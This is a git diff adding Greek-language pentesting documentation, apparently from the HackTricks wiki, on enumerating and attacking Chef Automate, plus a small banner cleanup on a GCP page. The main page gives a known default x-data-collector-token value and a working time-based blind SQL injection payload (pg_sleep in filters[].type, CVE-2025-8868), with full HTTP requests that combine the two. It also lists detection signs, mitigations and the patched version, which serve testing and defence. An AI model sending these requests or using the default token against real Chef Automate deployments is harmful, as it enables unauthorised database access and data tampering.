diff --git a/src/pentesting-ci-cd/chef-automate-security/README.md b/src/pentesting-ci-cd/chef-automate-security/README.md new file mode 100644 index 000000000..e62125a71 --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/README.md @@ -0,0 +1,18 @@ +# Chef Automate Ασφάλεια + +{{#include ../../banners/hacktricks-training.md}} + +## Τι είναι το Chef Automate + +Chef Automate είναι μια πλατφόρμα για αυτοματοποίηση υποδομών, συμμόρφωση και παράδοση εφαρμογών. Εκθέτει ένα web UI (συχνά Angular) που επικοινωνεί με backend gRPC services μέσω ενός gRPC-Gateway, παρέχοντας REST-like endpoints κάτω από διαδρομές όπως /api/v0/. + +- Συνηθισμένα στοιχεία backend: gRPC services, PostgreSQL (συχνά ορατό μέσω pq: error prefixes), data-collector ingest service +- Μηχανισμοί ελέγχου ταυτότητας: user/API tokens και header token του data collector x-data-collector-token + +## Enumeration & Attacks + +{{#ref}} +chef-automate-enumeration-and-attacks.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md new file mode 100644 index 000000000..e2f7a6155 --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md @@ -0,0 +1,142 @@ +# Chef Automate Enumeration & Attacks + +{{#include ../../banners/hacktricks-training.md}} + +## Επισκόπηση + +Αυτή η σελίδα συγκεντρώνει πρακτικές τεχνικές για να enumerate και attack Chef Automate instances, με έμφαση σε: +- Ανακάλυψη gRPC-Gateway-backed REST endpoints και inference των request schemas μέσω validation/error responses +- Κατάχρηση του x-data-collector-token authentication header όταν υπάρχουν defaults +- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) που επηρεάζει το πεδίο filters[].type στο /api/v0/compliance/profiles/search + +> Σημείωση: Οι backend responses που περιλαμβάνουν header grpc-metadata-content-type: application/grpc συνήθως υποδεικνύουν ένα gRPC-Gateway που γεφυρώνει REST calls προς gRPC services. + +## Recon: Architecture and Fingerprints + +- Front-end: Συχνά Angular. Static bundles μπορούν να δώσουν hints για REST paths (π.χ., /api/v0/...) +- API transport: REST σε gRPC μέσω gRPC-Gateway +- Οι απαντήσεις μπορεί να περιλαμβάνουν grpc-metadata-content-type: application/grpc +- Database/driver fingerprints: +- Σώματα σφάλματος που ξεκινούν με pq: υποδεικνύουν ισχυρά PostgreSQL με τον Go pq driver +- Σημαντικά Compliance endpoints (auth required): +- POST /api/v0/compliance/profiles/search +- POST /api/v0/compliance/scanner/jobs/search + +## Auth: Data Collector Token (x-data-collector-token) + +Το Chef Automate εκθέτει έναν data collector που πιστοποιεί αιτήματα μέσω ενός αφιερωμένου header: + +- Header: x-data-collector-token +- Risk: Σε μερικά περιβάλλοντα μπορεί να διατηρείται ένα default token που δίνει πρόσβαση σε προστατευμένες API routes. Γνωστό default παρατηρημένο in the wild: +- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +Αν υπάρχει, αυτό το token μπορεί να χρησιμοποιηθεί για κλήσεις σε Compliance API endpoints που κανονικά προστατεύονται από auth. Προσπαθήστε πάντα να rotate/disable defaults κατά το hardening. + +## API Schema Inference via Error-Driven Discovery + +gRPC-Gateway-backed endpoints συχνά leak χρήσιμα validation errors που περιγράφουν το αναμενόμενο request model. + +Για το /api/v0/compliance/profiles/search, το backend περιμένει ένα body με ένα filters array, όπου κάθε στοιχείο είναι αντικείμενο με: + +- type: string (filter field identifier) +- values: array of strings + +Example request shape: +```json +{ +"filters": [ +{ "type": "name", "values": ["test"] } +] +} +``` +Μη έγκυρο JSON ή λάθος τύποι πεδίων συνήθως προκαλούν 4xx/5xx με υποδείξεις, και τα headers υποδεικνύουν τη συμπεριφορά του gRPC-Gateway. Χρησιμοποιήστε αυτά για να χαρτογραφήσετε πεδία και να εντοπίσετε injection surfaces. + +## Compliance API SQL Injection (CVE-2025-8868) + +- Affected endpoint: POST /api/v0/compliance/profiles/search +- Injection point: filters[].type +- Vulnerability class: time-based blind SQL injection in PostgreSQL +- Root cause: Έλλειψη σωστής parameterization/whitelisting κατά την εισαγωγή του πεδίου type σε ένα dynamic SQL fragment (πιθανότατα χρησιμοποιείται για την κατασκευή identifiers/WHERE clauses). Κατασκευασμένες τιμές στο type αξιολογούνται από PostgreSQL. + +Λειτουργικό time-based payload: +```json +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Technique notes: +- Κλείστε την αρχική συμβολοσειρά με ένα μονό εισαγωγικό +- Συγκολλήστε ένα υποερώτημα που καλεί pg_sleep(N) +- Επανεισέλθετε στο πλαίσιο συμβολοσειράς μέσω || ώστε το τελικό SQL να παραμένει συντακτικά έγκυρο ανεξάρτητα από το πού είναι ενσωματωμένο το type + +### Απόδειξη μέσω διαφορικής καθυστέρησης + +Στείλτε ζευγαρωμένα αιτήματα και συγκρίνετε τους χρόνους απόκρισης για να επαληθεύσετε την server-side execution: + +- N = 1 δευτερόλεπτο +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]} +``` +- N = 5 δευτερόλεπτα +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Observed behavior: +- Οι χρόνοι απόκρισης αυξάνονται με pg_sleep(N) +- Οι απαντήσεις HTTP 500 ενδέχεται να περιέχουν λεπτομέρειες pq: κατά τις δοκιμές, επιβεβαιώνοντας μονοπάτια εκτέλεσης SQL + +> Συμβουλή: Χρησιμοποιήστε εργαλείο επικύρωσης χρονισμού (π.χ., πολλαπλές δοκιμές με στατιστική σύγκριση) για μείωση θορύβου και ψευδώς θετικών. + +### Impact + +Πιστοποιημένοι χρήστες — ή μη πιστοποιημένοι παράγοντες που καταχρώνται ένα προεπιλεγμένο x-data-collector-token — μπορούν να εκτελέσουν αυθαίρετο SQL εντός του PostgreSQL περιβάλλοντος του Chef Automate, θέτοντας σε κίνδυνο την εμπιστευτικότητα και την ακεραιότητα των προφίλ συμμόρφωσης, της διαμόρφωσης και της τηλεμετρίας. + +### Affected versions / Fix + +- CVE: CVE-2025-8868 +- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories + +## Detection and Forensics + +- API layer: +- Παρακολουθήστε κωδικούς 500 στο /api/v0/compliance/profiles/search όπου filters[].type περιέχει quotes ('), concatenation (||), ή αναφορές σε συναρτήσεις όπως pg_sleep +- Ελέγξτε τα headers απάντησης για grpc-metadata-content-type για να εντοπίσετε ροές gRPC-Gateway +- Database layer (PostgreSQL): +- Ελέγξτε για κλήσεις pg_sleep και σφάλματα κακοσχηματισμένων identifiers (συχνά εμφανιζόμενα με πρόθεμα pq: από τον Go pq driver) +- Authentication: +- Καταγράψτε και ειδοποιήστε για χρήση του x-data-collector-token, ειδικά γνωστών προεπιλεγμένων τιμών, σε όλα τα API paths + +## Mitigations and Hardening + +- Immediate: +- Ανανεώστε/απενεργοποιήστε τα προεπιλεγμένα data collector tokens +- Περιορίστε την εισερχόμενη πρόσβαση στα data collector endpoints· επιβάλετε ισχυρά, μοναδικά tokens +- Code-level: +- Χρησιμοποιήστε παραμετροποίηση για τα queries· μην συνενώνετε ποτέ τμήματα SQL ως συμβολοσειρές +- Εφαρμόστε αυστηρή λευκή λίστα για τις επιτρεπόμενες τιμές type στον server (enum) +- Αποφύγετε τη δυναμική κατασκευή SQL για identifiers/ρήτρες· εάν απαιτείται δυναμική συμπεριφορά, χρησιμοποιήστε ασφαλές quoting για identifiers και ρητές λευκές λίστες + +## Practical Testing Checklist + +- Ελέγξτε αν το x-data-collector-token γίνεται αποδεκτό και αν το γνωστό προεπιλεγμένο λειτουργεί +- Χαρτογραφήστε το schema αιτημάτων του Compliance API προκαλώντας validation errors και διαβάζοντας error messages/headers +- Δοκιμάστε για SQLi σε λιγότερο προφανή πεδία τύπου “identifier-like” (π.χ., filters[].type), όχι μόνο σε πίνακες τιμών ή πεδία κειμένου κορυφαίου επιπέδου +- Χρησιμοποιήστε τεχνικές βάσει χρόνου με concatenation για να διατηρήσετε το SQL συντακτικά έγκυρο σε διαφορετικά contexts + +## References + +- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate) +- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/) +- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868) +- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway) +- [pq PostgreSQL driver for Go](https://github.com/lib/pq) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index f056330cf..b16f7d106 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,5 +1,3 @@ # GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} - -{{#include ../../../banners/hacktricks-training.md}}